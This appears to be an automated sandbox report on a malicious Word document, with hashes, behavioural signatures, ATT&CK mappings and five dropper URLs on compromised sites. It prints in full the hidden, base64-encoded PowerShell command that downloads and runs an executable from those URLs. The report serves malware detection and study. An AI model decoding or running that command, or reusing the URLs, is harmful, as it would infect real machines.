6c7958924ddfc686f4a560ae0883ea8d0e54eab4e577a7559a8fcba08b2c259c

General

Target

6c7958924ddfc686f4a560ae0883ea8d0e54eab4e577a7559a8fcba08b2c259c.doc
Size

183KB
MD5

b7aa98ea14b86ee61b4aab37ee530dbf
SHA1

e6b36857fe11c6bc2a0b36dd22e30c58fa03915e
SHA256

6c7958924ddfc686f4a560ae0883ea8d0e54eab4e577a7559a8fcba08b2c259c
SHA512

7e29bfebc8bdc682ac8d7d8809b2ef5f2c0b02563a89c5d5ba2922f954c64a61e881e1c1eef425a8c35a91b80273377ed5ad15b0becb2f6e270ac1d06e743f23
SSDEEP

3072:Yq2y/GdyLktGDWLS0HZWD5w8K7Nk9SD7IBUjx3T9gOA4ZDyGoHchNQiLZ:Yq2k47tGiL3HJk9SD7bjx3T9gOA4ZDy2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://candsengg.com/wp-admin/ggn/

exe.dropper

https://evaskincomplex.com/wp-includes/B48dZmZ/

exe.dropper

https://florandina.com/wordpress.bk/lFu77Ma6/

exe.dropper

https://concatstring.com/__MACOSX/ByaZo/

exe.dropper

https://kashifclothhouse.com/wp-admin/3NLIj/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2964	3188	Powershell.exe	85

Blocklisted process makes network request 3 IoCs

flow	pid	Process
28	2964	Powershell.exe
31	2964	Powershell.exe
35	2964	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2964	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1804	WINWORD.EXE
1804	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2964	Powershell.exe
2964	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2964	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1804	WINWORD.EXE
1804	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1804	WINWORD.EXE
1804	WINWORD.EXE
1804	WINWORD.EXE
1804	WINWORD.EXE
1804	WINWORD.EXE
1804	WINWORD.EXE
1804	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 2208	1804	WINWORD.EXE	86
PID 1804 wrote to memory of 2208	1804	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6c7958924ddfc686f4a560ae0883ea8d0e54eab4e577a7559a8fcba08b2c259c.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2208

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAG8AaQBiAGMAbwBwAGUAdgB1AD0AJwBHAHQAcwBhAHUAdgBzAGMAbgAnADsAJABOAGQAZQBqAHIAagBmAGoAZAAgAD0AIAAnADgAOQA3ACcAOwAkAFoAegBtAGMAYQBqAGgAagA9ACcARABvAGUAbgB1AHcAYgBtAGQAJwA7ACQATAByAHoAYwBuAHAAeABsAHIAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBkAGUAagByAGoAZgBqAGQAKwAnAC4AZQB4AGUAJwA7ACQAWQB5AHAAegBpAGsAbwBrAHAAdwB5AGEAPQAnAEQAYwBuAGUAbQBuAGsAbAAnADsAJABNAHgAbwBiAGcAbQBvAHMAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4APQAnAGgAdAB0AHAAOgAvAC8AYwBhAG4AZABzAGUAbgBnAGcALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGcAZwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQB2AGEAcwBrAGkAbgBjAG8AbQBwAGwAZQB4AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBCADQAOABkAFoAbQBaAC8AKgBoAHQAdABwAHMAOgAvAC8AZgBsAG8AcgBhAG4AZABpAG4AYQAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALgBiAGsALwBsAEYAdQA3ADcATQBhADYALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBjAGEAdABzAHQAcgBpAG4AZwAuAGMAbwBtAC8AXwBfAE0AQQBDAE8AUwBYAC8AQgB5AGEAWgBvAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AMwBOAEwASQBqAC8AJwAuACIAcwBwAEwAYABJAFQAIgAoACcAKgAnACkAOwAkAEUAdwBnAGEAdgBiAGEAdABjAGkAYQA9ACcAQwByAHkAcwB5AGQAbABmAG4AeABsAHEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQARAB1AGUAdwB0AHAAYwBlAHYAdQBqAG8AIABpAG4AIAAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4AKQB7AHQAcgB5AHsAJABNAHgAbwBiAGcAbQBvAHMALgAiAEQATwB3AGAATgBMAG8AQQBkAEYAaQBgAEwARQAiACgAJABEAHUAZQB3AHQAcABjAGUAdgB1AGoAbwAsACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkAOwAkAFIAeABpAG4AYQBhAHYAbQBlAD0AJwBOAHYAZQB5AHkAYwBkAGcAawBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkALgAiAGwAYABlAG4AYABnAFQASAAiACAALQBnAGUAIAAzADYAMQA1ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQByAFQAIgAoACQATAByAHoAYwBuAHAAeABsAHIAcgApADsAJABOAGoAcQB5AHYAawBiAG4AcwA9ACcAWgBuAHoAdgBoAGUAdQBlAGoAJwA7AGIAcgBlAGEAawA7ACQAQQBvAHoAagBuAG4AZAB2AGQAYwB3AD0AJwBRAGUAbwBqAGQAbgBhAGMAYwB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAbABkAGgAdABxAGMAcwB4AGkAYgA9ACcAWABvAGoAeAB5AGIAYwBpAG4AZQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E4956EFB.wmf

Filesize
444B

MD5
f0a36bd87b5ca1f6d1bd59dc57fe85b2

SHA1
7b1392aa19eca3bda0818970d34e1c68b2b52d5c

SHA256
74e104514f11ab3e04984d09dcd1ad1d4f9c98bd9e03c92f2b8a1a25c415f4d1

SHA512
190fe83691a93915c50e02bc9b24bda0f02cef5be18e3d4fbe2c08bd51ab842fa90f24a292c9b6e14e179f6f457cd0788c7da59198d189818dc55f5d8db7d12b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDC695.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_udchsxwh.1b1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
7b1e305bf6b12ddcc0e941033f1a8e70

SHA1
3b690ec781fd0b4e1a0d226519731335de4c1fd9

SHA256
52ae05a91453c88806afd7f4f0730a603fe2c7303b199a5c0ac27ae8948ce22e

SHA512
4f148b113564fdd42ba014d0fe78f23b208ed4262bd2332fbf154ef36d23fb8f135eab16732c93c04cd85ce4d863a79f61b188511c4ea6a0fd48975a4d598bc9

Download Submit
memory/1804-7-0x00007FFBED910000-0x00007FFBED920000-memory.dmp

Filesize
64KB

Download
memory/1804-14-0x00007FFBEB8B0000-0x00007FFBEB8C0000-memory.dmp

Filesize
64KB

Download
memory/1804-6-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-9-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-8-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-12-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-11-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-13-0x00007FFBEB8B0000-0x00007FFBEB8C0000-memory.dmp

Filesize
64KB

Download
memory/1804-10-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-0-0x00007FFC2D92D000-0x00007FFC2D92E000-memory.dmp

Filesize
4KB

Download
memory/1804-5-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-4-0x00007FFBED910000-0x00007FFBED920000-memory.dmp

Filesize
64KB

Download
memory/1804-1-0x00007FFBED910000-0x00007FFBED920000-memory.dmp

Filesize
64KB

Download
memory/1804-2-0x00007FFBED910000-0x00007FFBED920000-memory.dmp

Filesize
64KB

Download
memory/1804-75-0x00007FFC2D92D000-0x00007FFC2D92E000-memory.dmp

Filesize
4KB

Download
memory/1804-76-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-77-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-78-0x00007FFC2D890000-0x00007FFC2DA85000-memory.dmp

Filesize
2.0MB

Download
memory/1804-3-0x00007FFBED910000-0x00007FFBED920000-memory.dmp

Filesize
64KB

Download
memory/2964-55-0x00000280226B0000-0x00000280226D2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads